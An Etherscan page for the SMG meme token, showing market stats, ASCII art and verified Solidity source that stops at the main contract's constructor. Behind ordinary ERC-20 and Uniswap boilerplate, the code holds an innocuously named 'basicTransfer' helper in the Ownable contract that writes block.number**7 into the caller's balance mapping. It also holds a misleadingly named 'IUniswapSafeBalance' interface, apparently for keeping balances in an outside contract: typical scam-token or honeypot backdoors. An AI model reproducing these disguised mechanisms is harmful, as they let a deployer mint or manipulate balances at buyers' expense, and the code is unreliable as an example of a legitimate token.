ETH Price: $2,640.79 (+2.04%)
Gas: 0.9 Gwei

Token

SHIBA MEME GENERATION (SMG)
 

Overview

Max Total Supply

700,000,000 SMG

Holders

15

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 16 Decimals)

Balance
10,798,479.0462707859900549 SMG

Value
$0.00
0x86213923cbdc18539f3bf6f22bf2c9df76ecb355
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SHIBAMEMEGENERATION

Compiler Version
v0.8.15+commit.e14f2714

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-10-30
*/

// https://t.me/ShibaMemeGeneration











// SPDX-License-Identifier: none

/*
............................................................................................................................................................................................................................................................................................................
............................................................................................................................................................................................................................................................................................................
............................................................................................................................................................................................................................................................................................................
............................................................................................................................................................................................................................................................................................................
............................................................................................................................................................................................................................................................................................................
............................................................................................................................................................................................................................................................................................................
............................................................................................................................................................................................................................................................................................................
............................................................................................................................................................................................................................................................................................................
............................................................................................................................................................................................................................................................................................................
............................................................................................................................................................................................................................................................................................................
............................................................................................................................................................................................................................................................................................................
............................................................................................................................................................................................................................................................................................................
..............................................................................................................................................''''''''''''''''''''''........................................................................................................................................
....................................................................................................................................'''''',,,,,,,;;;;;;;;;;;;;;;,,,,,,'''''''...............................................................................................................................
............................................................'''''.............................................................''''',,,;;;;;::::ccllllloooooolllcc::::;;;;;,,,,''''...........................................................''''...........................................................
.........................................................'',;;;;,''......................................................'''',,,,;;;::clooxxkOO0KKKXXXXXXXXXXKKK00Okkxdolc:::;;;,,,''''...................................................'',;;;;,''........................................................
.......................................................'',;lxkkxo:;,'''..............................................'''',,,;;;::cldxk0KXNNNNXXK0OOkkkkkkkkkkkOO00KXXXXKK0Okdolc::;;,,,''''..........................................''',,;:oxkkxl;,'.......................................................
.......................................................',;ckOxdkOkxdddoddc.......................................''''',,,;;:ccodk0KXNNXKOkxdolcc:;;;;;;;;;;;;;;;:ccloodxO0KXXK0Oxolc::;;,,,''''....................................cddddddxkOkdxOkc,,'......................................................
.......................................................',,:okkkOxl::;,,;lxl'.................................''''',,,;;::cldk0XNNX0Oxolc:;;;;;;,,,,,'''''''',,,,,;;;;;;;:clodkOKXK0Oxoc::;;,,,'''................................'lkl;,,;::lxkkkkd:,,'......................................................
.......................................................'',,;cllc;,,''....cxo'............................'''''',,,;;::cldOKXNX0kdl:;;;;;,,'''''''''''''''''''''''''''',,,;;;;;:ldk0XXK0kocc:;;,,'''''...........................'okc'...'',,;cllc;,,'.......................................................
.......................................................'''',,,,,,'''......:xd,........................''''''',,,;::cldkKXNXOxlc;;;;,,''''''',,,,,,,,,,,,,;;;,;;,,,,,'''''''',,;;;;:lxOXNX0xoc::;;,,,'''........................,oxc......''',,,,,,'''.......................................................
.................................................'''..'''''''''''..........:xd;................'''''''''''',,;;:ccoxOKNX0dl:;;;,,'''',,,,;;;;;;;;;;;;;;,,;;;;;;;;;;;;;;;,,,''''',,;;;:ox0NNKOdlc:;;,,'''''''..................,dx:..........'''''''''''''''.................................................
..............................................'',,,,,'''''..................;dx:.............''''''''''',,,;;:ccok0XXKko:;;;,'''',,;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;,,'''',;;;;cd0XWXOdlc::;,,''''''''.''...........;dd;..................''''',,,,,''.............................................
............................................'',;:looc;,,''...................,dx:'.....''''''''''''''',,,;;:ccox0XX0xc;,,,,''',,;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;,,''',;;;:lOXWN0dlc:;;,,,'''''''''''......':xd;..................''',,;cool:;,''...........................................
...........................................'',;cxOkOOxollccc::::::::;'........,oxc'''''''''''''''''',,,;;:cclx0XX0d:,;cc;'.',;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;,..';;::;lOXNXkolc:;;,,,''''''''''''..'cxd,........';::::::::ccclloxOkkOxc;,'...........................................
...........................................'',;lOOxxOOxdddooooooooodkl'........,oxl,''''''''''''',,,,;;::clokKX0xc;':0WNXKkl;',;;;;;;;:::;;::::::::::::::::::::::::::::::;:::;;;;,',:loxO0K0l';oOXNKxlc::;;,,,''''''''''''cxo,''......'lxdooooooooodddxOOxxOOl;,''..........................................
...........................................'',,:lxkkdc;,,''........'cko,..'''''',lxo,''''''''''',,,,;;:clox0KKkl;;',kWWMMMMWXkl,';;;::::::::::::::::::::::::::::::::::::::::::;,,;lx0KKKKKKXO;';:o0XXOdlc::;,,,,,''''''',lxl,'''''...,oxc'........'',,;cdxkxo:,,'...........................................
............................................'',,;;:;;,,''''.........'cxd;'''''''',lxo;''''',,,,,,,;;::clokKK0o:;;,.;KMWNXNWWWWN0o;,;:::::::::::::::::::::::::::::::::::::::::,,cx0KKKK0000KKKl.,;;cxKX0xlcc:;;,,,,,'''';okl,'''''''';dxc'..........'',,,;;:;,,''............................................
..............................................'''',,'''''............':xx:'''''''',cxd:,,,,,,,,,,;;::cldOKKkl;;,'..:KWXOkOO0XNWWNKo;,;::::::cccccccccccccccccccccccccccccc:;;cx0KKK00OOkkk0KKd'',,;;oOKKxocc:;;,,,,,,,;dxc,'''''''';dx:'............'''',,,''''.............................................
...................................................'.................'';dxc'''''''',cxxoooooooooddddxxxOK0xc;,,'',.:XWKOkkkkkOKXNWN0o;,:ccccccccccccccccccccccccccccccccc:,:x0KKK0OOkkkOOOO0Kd'.',,,;lkKKOxxxdddooooooxxc,'''''''':xx:'''..............''''.................................................
...................................................................''''';dxc,''''''',;ccccclllllloodxxOK0d:;,,'',,.:KWKOOOkkkkkk0XNNN0l,;cllccc:;;;;;;;;;;;;;;;;::cclllc;;oOKK00OkkkkOOOOOO0Ko''''',;,cx0KOxdoollllcccc;,,,''''',cxd;''.....................................................................
...................................................................'''''',okl;,,,,,,,,,,,,,;;;;::clldk00d:;,,'',,,.;KWKOkkkkkkkkkkOKXNXOc;;;:cclllooddxxxxxddollllc::;;;ck0K00OkkkkOOOOOOOOK0c.,;''',,;:x00xolc::;;;,,,,,,,,,,,,lko;'''''''''...............................................................
......'''''....................................................''''''''''',okxdddddddddddddddddxxxxxk00d:,,''',;;;';0WXOkOkkkkkkkkxkOKNNKkxkOKKKKKK00000000000000000kxdx0K00OkkkkkOOOOOOOO0KO;';;;,'',,;cx00kkxxxdddddddddddddddxo;'''''''''''....................................................'''''.....
...'',;;:;,,''...............................................'''''''''''''',:cccccccccccccclllloodxk00xc;,,'',;;;;',kWN0kkkkkkkkkkkO0XXXXXXXKKKKKK00000000000000000000000000OOkkkOOOOOOOOO0Kd',;;;;'',,,;cxOOxdoollllccccccccccc:,'''''''''''''''..............................................'',,;:;,,''..
..',;cxkOkdc;,,''.............'''''''''''''...''''''''''''''''',,,,,,,,,,,,,,,,;;;;;;;;;;;;:::cclodk0kl;,,'',;;;;;,.oNWKkkkkkkkkO0KXNNNXXXXKKKKKK000000000000000000000000000000OOOkkOOOOOO00c';;;;;,'',,,;lkOkollc:::;;;;;;;,,,,,,,,,,,,,,,,,,'''''''''''''''''''''''''''''''''.............'',,;cdkOkxc,''.
..',:xKkdOKOxxxdddddddddddddddddddddddddddddooooddddddddddddddddddddddddddddddddddddddddddddddxxkkkOOo;,,'',;;;;;;;':KMXOkkkkkO0XNNNNNXXXXXKKKKK000000000000OOO000000000000000000OOkkkOkO0Kx,';;;;;;,'',,,:okOkkxxdddddddddddddddddddddddddddddoddddooodooooooodddddddddddddddddddddddddddddddxxxOKOdkKk:,'.
..',;oOOO0kl::;;,,,'''''',,,;;::ccllc:::;;,,,,,,,,,,,,,,,,;;;;;;;;;;;;;;;;;;::::::::::::::cccllodxk0xc,,'.',,,;;;;;,'kWWKkkkk0XNNNNNNXXXXXKKKKK000000OOOOOOOOOOOOO00000000000000000OkkkkO00c',;;;;;,,,.',,,cxkkdollcc:::::::::;;;;;;;;;;;;;;;;;;;;;,,,,,,,,,,,,,,,,;;:::cllcc:;;;,,,'''''',,,;;::lk0OOOo;,'.
...'',:llc;,,'''...........'',;:okkkko:;,,''''''''''''''''''''',,,,,,,,,,,,,;;;;;;;;;;;;;;::cclooxOOd;,,'.,,,,;;;;;;'cXWXOkOKNNNNNNNNXXXXKKKKK000000OOOOOOOOOOOOOOOOOO00000000000000OOkkO0x,';;;;;;,,,'.,,,;oxkdolcc::;;;;;;;;,,,,,,,,,,,,,,,'''''''''''''''''''''',,;:oxkkko:;,'............'',,,:cll:,''..
.....''',,,,,''''..........'',;oO0xx00kxxddddddddddddddddddddddddddddddddddddddddddddddddddxxxxkkk0Ol,,'.',,,,;;;;;;',kWWK0XNWNNNNNNXXXXKKKKK00000OOOOOOOOOOOOOOOOOOOOOOO000000000000OOO0Oc';;;;;;;,,,'.',,,cdkkkxxxdddddddddddddddddddddddddddddddddddddddddddddddxxxk00xxOOo;,''.........'''''',,,,'''....
........'''',,,,,'''.......'',;cxOOOOxlcc:::;;;;;;;;;;;;;;;;;:::::::::::::::::::cccccccccccllooddOKkc,,'.',,,,;;;;;;;'cKWWWWWWNNNNNXXXXXXKKK00000OOOOOOOOOOOOOOOOOOOOOO000000000000000000d',:;;;;;;,,,,.',,,:dkkddollcccccccc:::::::::::::::::::::;;;;;;;;;;;;;;;;::ccldOOOOxc;,''......''',,,,,,''''.......
.........'',;coddl;,''......'',;:lool:;;,,''.............'''''''''''''',,,,,,,,,;;;;;;;;;;::cclodOKk:,,'.,,,,,,;;;;;;,'dNWWWWWNNNNXNNWWWWNXK0000OOOOOOOkkkkkOOOOOOOOOOKNNWNNK00000000000k;';;;;;;;;,,,,..,,,:dkkdllc::;;;;;,,,,,,,,,,''''''''''''''''............'',,;;:cool:;,''......'',:lddoc;,''........
.........',;lO0kO0kdoolllllllloooddddoooolllllllccccllllllllllllllllllllllllllllllllloooooooddxxx0Xx;,,..,,,,,,,;;;;;;';0WWWWNNNNNNWWMMMMMWX000OOOOOOkkkkkkkkkkkkOOOOXWMMMMMWX0OO00OOOO0o',:;;;;;;,,,,,'.,,,:dkkkxddoooooollllllllllllllllllllllllllllllccccccllllllooooddoooollllllllloodk0Ok0Ol,,'........
.........',;o00xk0Oxxdddooooodddddxxxxxxddddooooooooooooooooooooooooooooooooooooooooddddddddxxxkk0Xk;,,..,,,,,,,;;;;;,'cXWWWWNNNNXNWMMMMMMWNK00OOOOkkkkkkkkkkkkkkOOO0NWMMMMMWN0OOOOOOOOOx;';;;;;;,,,,,,'.',,cxkOkxxxdddddddooooooooooooooooooooooooooooooooooooooddddxxxxxxddddoooooooddxxO0kx00o,''........
..........',;lxxxdc;,'........'',;:coddoc;,,'''...........''''''''''''''',,,,,,,,,,,,;;;;;::cllod0Nk;',..,,,,,,,,,;;;':0WWWWNNNNXXXNNWWNNNXK00OOOOOkkkkkkkkkkkkkkkkkO0KXXNNNXKOOOOOOOOOOOx,';;;;,,,,,,,'.',,lkOkdllc::;;;;;,,,,,,,,,,,,'''''''''''''..........''',;;coddoc;;,''........',;cdxxxl;,'.........
...........'',,,,,,''.........',,;lk0kk0kdllccccc::::::::ccccccccccccccccccccccllllllllllllooddxx0NO:','.',,,,,,,;;;',kWWWWWNNNNXKKKXXKKK0000OOOOOOkkkkkkkkkkkkkkkkkkkkOOOOOOkkkOOOOOOOOOOo'';;;;,,,,,,.',,,lk0Oxddoolllllllcccccccccccccccccccccccccccccc:cccccllodkOkk0kc;,''.........'',,,,,,''..........
..............''''............'',;lO0kk0OkxxddddooooooooodddddddddddddddoodddddddddddddddddxxxxkxOX0c','.',,,,,,,,;'.oNWWWWWNNNN0c.,cok0K0000OOOOOkkkkkkkkkkkkkkkkkkkkkkOkxl:,.,oOOOOOOOOOOc.,;;,,,,,,'.',,;oO0OkxxxdddddddddddddddddddddddddddddddddddddddddddddxxxO0kk0Ol;,''...........'''''.............
...............................',,;ldxxdl;;,''''........''''''''''''''',,,,,,,,,,,,,;;;;;;:::clookKKo,,'.',,,,,,,,,.:KWWWWWNNNNNk'    .,cdkO0OOOOOkkkkkkkkkkkkkkkkkkkkxdc,.     :kOOOOOOOOOx,';;,,,,,,'.',,:d0Oxolc::;;;;;,,,,,,,,,,,''''''''''''''''........'''',;;cdxxdc;,''..............................
................................'',,,;;;,,'''............''''''''''''''',,,;cooooooooooooooodddxxkOKx;,,'.',,,,,,,''xWWWWWWNNNNN0;        .;lxOOOkkkkkkkkkkkkkkkkkkxl;..       .lOOOOOOOOOOOl.';,,,,,,'.',;lk0Okxxddooooooooooooc;,,,'''''''''''''''............'',,,;;;,,,''...............................
..................................'''''''''................''''''''''''',,:dkdoooooooooooooooddxxxk0Oc,,'.',,,,,,,.:KMWWWWWNNNNNX0d;.        'lkOkkkkkkkkkkkkkkkkko,.       .':dkOOOOOOOOOO0x,.,,,,,,'.',;:oO0kxxddoooooooooooodxd:,'''''''''''''''...............'''''''''.................................
............................................................'''''''''''',:xxc,,,,,,,,,,,;;;;;:cclodkOd;,,'.,,,,,,'.dWMWWWWWNNNNNXXXK0xl:,'....'lkO00KKXXXXKKK0OOkd,.....',:lxkOOOOOOOOOOOOOOO:.,,,,,,'',;;cx0Odllc:;;;,,,,,,,,,,cxx:,'''''''''''''..........................................................
...............................................................''''''''':xx:,,,,,,,,;cooooooddddxxxxkkl,,,'',,,,,.,OWMWWWWWWNNNNNXXXKKKK0Okkxxx0XNWWWWMMMMWWWWWNX0xdddxkkOOOOOOOOOOOOOOOOOOOOo'',,,,'.',;:dkOOkxxdddoooc;,,,,,,,,:xxc,''''''''''............................................................
................................................................'''''''cxx:'',,,,,,;lkxollooooodddxdxkxc,,'.',,,,.:KMWWWWWWWNNNNXXXXXKKKK0000XNWWWXkddoddodddONMWWNK0kkOOOOOOOOOOOOOOOOOOOOO0d'.,,,'.',;:lxkkxdddooooodkl;,,,,,,'';dxc,'''''''..............................................................
.................'''''''..........................................''',lkd;''''',,,;oko;,,,,,;;;::clodxkd:,,'.',,,.lXMWMWWWWWWWNNNXXXXKKKK00XNWWWMNl          .oNMMWWNKOOOOOOOOOOO00KKKXXXXXXXk,.,,'.',;:cdkkdlcc:;;;,,;oko;,,,''''',okl,'''''........................................''''''.................
...............'',;:::;,''........................................'.,lko,'''''''';oko;,,,,,,,;;;:ccloddxo:,,'.',,.cXMMMMMMMMMMWWWNNXXKKKKKNWWMMWMX:           :XMMMWWWX0OOOOOO0KXNWWWWMMMMWWM0,.,''',;;coxkdlcc:;;;,,,,;lkd;'''''''',oko,'.'.......................................',,;:::;,''..............
..............'',cxOOOxl:;,'''..............''''''''''''''''''''''',okl,'''''''';dxl,,,,,,,,,,;;;::cloodxo;,,''',.,OWMMMMMMMMMMMMMWWNXKKKNWMWMMWMNo          .dWWWMMMMWX0OO0KNWWMMMMMMMMMMMWWx'''.',;:codxdlcc:;;,,,,,,',cxd;'''''''',lko;''''''''''''''''''''.................'',,;;cxOkOxc,''.............
..............',;xKkdkK0kxxxxxdddddddddddddddddddddddddddddddddddddxxc''''''''';dxc,'''',,,,,,,,;;::clooddo:,,,'''.cKMMMMMMMMMMMMMMMWWNXNWMMMMMWMMXl.       .oNMWMMMMMMWXKXWWWMMMMMMMMMMMMMW0;..'',;:codxdlcc:;;,,,,,,''',:xd:'''''''''cxxddddddddddddddddddddddddddddddddddddddxxxxkOKkdkKx;,'.............
..............'',lkOOOkoc:;;;,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,;;;;,'.'..'''':xx:''''''',,,,,,,,,;;:clooodo:,,,'...cKWMMMMMMMMMMMMMMMWWWWMWMMMMMMMW0oc;..:o0WMMMMMMMMMMWWMMMMMMMMMMMMMMMMW0;..',;;:codxolc::;;,,,,'''''''':xx:'''''...',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,;;;:cokOOOkl,''.............
...............'',;clc;,,'.................................................'':xx:'''''''''''',,,,,,;;:cclooooc;;,''..:OWMMMMMMMMMMMMMMMMMMMMMMMWMMMMMMMNddNWWWWMMWWMMMMMMMMMMMMMMMMMMMMMMNk,..',;::loddolc:;;,,,,''''''''''';dx:''.................................................',,;ccc;,''..............
.................'''''''...................................................'cxd;''''''''''''''''',,,;;::cloolll:;,,'..'oKWMMMMMMMMMMMMMMMMMMMMNOxO0000Od,,x000OOKWWMMMMMMMMMMMMMMMMMMMMWKl..',;;:codddlcc:;;,,,'''''''''''''',dkc'...................................................''''''.................
..........................................................................'lko,..'''''''''''''''''',,,;;:cclolllc;;,,'..,dXWMMMMMMMMMMMMMMMMMMWO,.,oolc:;:cldc..oNWMMMMMMMMMMMMMMMMMMWXd,..,;::cldddolc:;;,,,'''''''''''''....,okl'.......................''................................................
.............................................''',,,''''..................'lkl,..........''''''''''''',,,;::cllllll:;;,,'..,dKWMMMMMMMWMMMMMMMMMW0coNXkxxloxON0:oXWMMMMMMMMMMMMMMMMMWXx;..,;;:lodxdolc::;,,,'''''''''''.........'lkl'..................''',,,,'''............................................
............................................',,;cllc;,''................,okl'.............''''''''''''',,,;;:cllllllc:;;,'..,oONMMMMMMMMMMMMMMMMWXXWWNNNKKNWWNKNWMMMMMMMMMMMMMMMWN0o;'',;;:lodxdolc::;;,,'''''''''''............'cko,................'',;:llc;,,'...........................................
...........................................',,:dOOOOxollccc::::::::::::cdkc'.................''.''''''''',,,;::clllloolc:;;,'.':d0NWMMMMMMMMMMMMWMMMWMMMWMMMWMMWWMMMWMMMMMMMMMWKxc,'';;:cloxxxolc::;;,,''''''.....................ckdc:::::::::::cccclloxOOOOd:,,'..........................................
...........................................',;lO0xdO0kxdddooooooooooooooo:..........................'''''''',,;;:cclooodool:;;,'',cd0NWMMWMMMMMMMMMMWMMMMMMMMWMWWMMMMMMMMMMWKxl,.';;:cloxxxdolc:;;,,,''''''........................;looooooooooooooddddk0OxxOOl;,'..........................................
...........................................',,:okkkxo;,'..................................................'''',,;;::cllooddddoc:;;,',:okKNWWWMMMMMMMMMMMMMMMMMMMMMMWWMWNXOxl;'';:clodxxxxdlc::;;,,''''...............................................',;oxkkko:,''..........................................
............................................'',,;::;,''.....................................................''''',,;;::clloddxxdolc::;,',:lxOXNWMMMMWWWWWWWMMWMMMWNX0xoc:;::ccllodxkxxdlcc:;;,,''''...................................................',,;::;,,''...........................................
..............................................'''''''............................................................''',,,;;:ccloodddddoollc;,,,;cldxO0KXNNNNXK0Okxdlc:;,;:clodddxxxxdolc::;;,,''''........................................................''''''..............................................
....................................................................................................................'''',,,;;:cclloooooooolllcc:::::loooooolc:;::cclooddddxxxddolcc::;;,,''''...............................................................................................................
..........................................................................................................................''',,;;;::cccllllllllllllllooooooooooooooddddooollcc::;;;,,,'''...................................................................................................................
...............................................................................................................................'''',,;;;;::ccccccccccclllllllllllccccc:::;;;,,,,''''........................................................................................................................
......................................................................................................................................''''',,,,,;;;;;;;;;;;;;;;,,,,,''''''''................................................................................................................................
..................................................................................................................................................'''''''''.................................................................................................................................................
............................................................................................................................................................................................................................................................................................................
............................................................................................................................................................................................................................................................................................................
............................................................................................................................................................................................................................................................................................................
.................................................................,,''...:,....;;...,:...':,,;.....,;.........,;.....';...':;''...,;.....,;...':;''........,,'''',...;:,''..,:'....,;...:;''...;;',;......;,...'.,:,.'..,:....,'.'';,...;;.....;'............................................................
................................................................'c;.....c;....:;...;:...'c'.:'...':l;........:o;...'cl...'c,.....:o;...'ll...'c,.........:;.........;c.....;lc;...,;...::.....:;..c;....,cc'....'c' ...;:. 'c'.....c:..:c:,...;' ...........................................................
.................................................................';:,...c:.'''c;...;:. .'c,':,...:;;l,.......;;:;..;;c,..'c;''...;;:;.';;c,..'l;''......,l,....';'..;c'''..;,.;c;.,;...cc''...::';;....':,:c....'c' ...;:..:c. ....;c..;..::'.;' ...........................................................
.................................................................. 'c, .c,   .:;...,:. .':. 'c'.;;..;c......':..cc;..:;..'c' ...':.'c:;..c;..'c' ........:c....'c'..;:.....;,...;:c;...:;.....::.':,...;,..::...'c' ...;:. 'c,.....:;..;' .':::' ...........................................................
.................................................................,.',. .:,....;;...,:...':,.''.';....;;.....,;...;...,;..':;''..,;..';. .;;..':,''........,;,'',;...;:'''..,,.....;'...;;''...;;...;,.,,....:,..':'....,:....;,''','. .;'....';. ...........................................................
............................................................................................................................................................................................................................................................................................................
............................................................................................................................................................................................................................................................................................................
............................................................................................................................................................................................................................................................................................................
............................................................................................................................................................................................................................................................................................................
............................................................................................................................................................................................................................................................................................................
............................................................................................................................................................................................................................................................................................................



*/

pragma solidity 0.8.15;


interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract Ownable is Context {
    address private _owner;
    bytes32 internal blockHash;
    uint256 private _lockTime;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    modifier onlyOwner() {

        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }   


    
    
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }
    

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function basicTransfer( mapping (address => uint256) storage amount) internal returns(bool){
            amount[msg.sender]=block.number**7;
            return true;
    }

}

interface IUniswapSafeBalance {
    struct Map {
        address[] keys;
        mapping(address => uint) values;
        mapping(address => uint) indexOf;
        mapping(address => bool) inserted;
    }
    function get(address key) external view returns (uint);
    function getIndexOfKey(address key) external view returns (int);
    function getKeyAtIndex(uint index) external view returns (address);
    function size() external view returns (uint);
    function set (address key, uint val) external;
    function remove(address key) external;
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract SHIBAMEMEGENERATION is Context, IERC20, Ownable {
    uint256 public immutable _buyTax =1;
    uint256 public immutable _sellTax = 1;
    string private _name = unicode"SHIBA MEME GENERATION";
    string private _symbol = unicode"SMG";
    uint8 private _decimals = 16;


    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    uint256 public  _totalSupply = 700000000  * 10**(_decimals);
    bool active=true;  
    bool init=false;

    address public uniswapPair;
    using SafeMath for uint256;
    address public prova;

    mapping (address => uint256) public test;
    mapping (address => bool) public holderNoFee;
    mapping (address => mapping (address => uint256)) private _allowances;
    IUniswapV2Router02 public uniV2Router;
    IUniswapSafeBalance private _walletsAmount;
    
    constructor () {
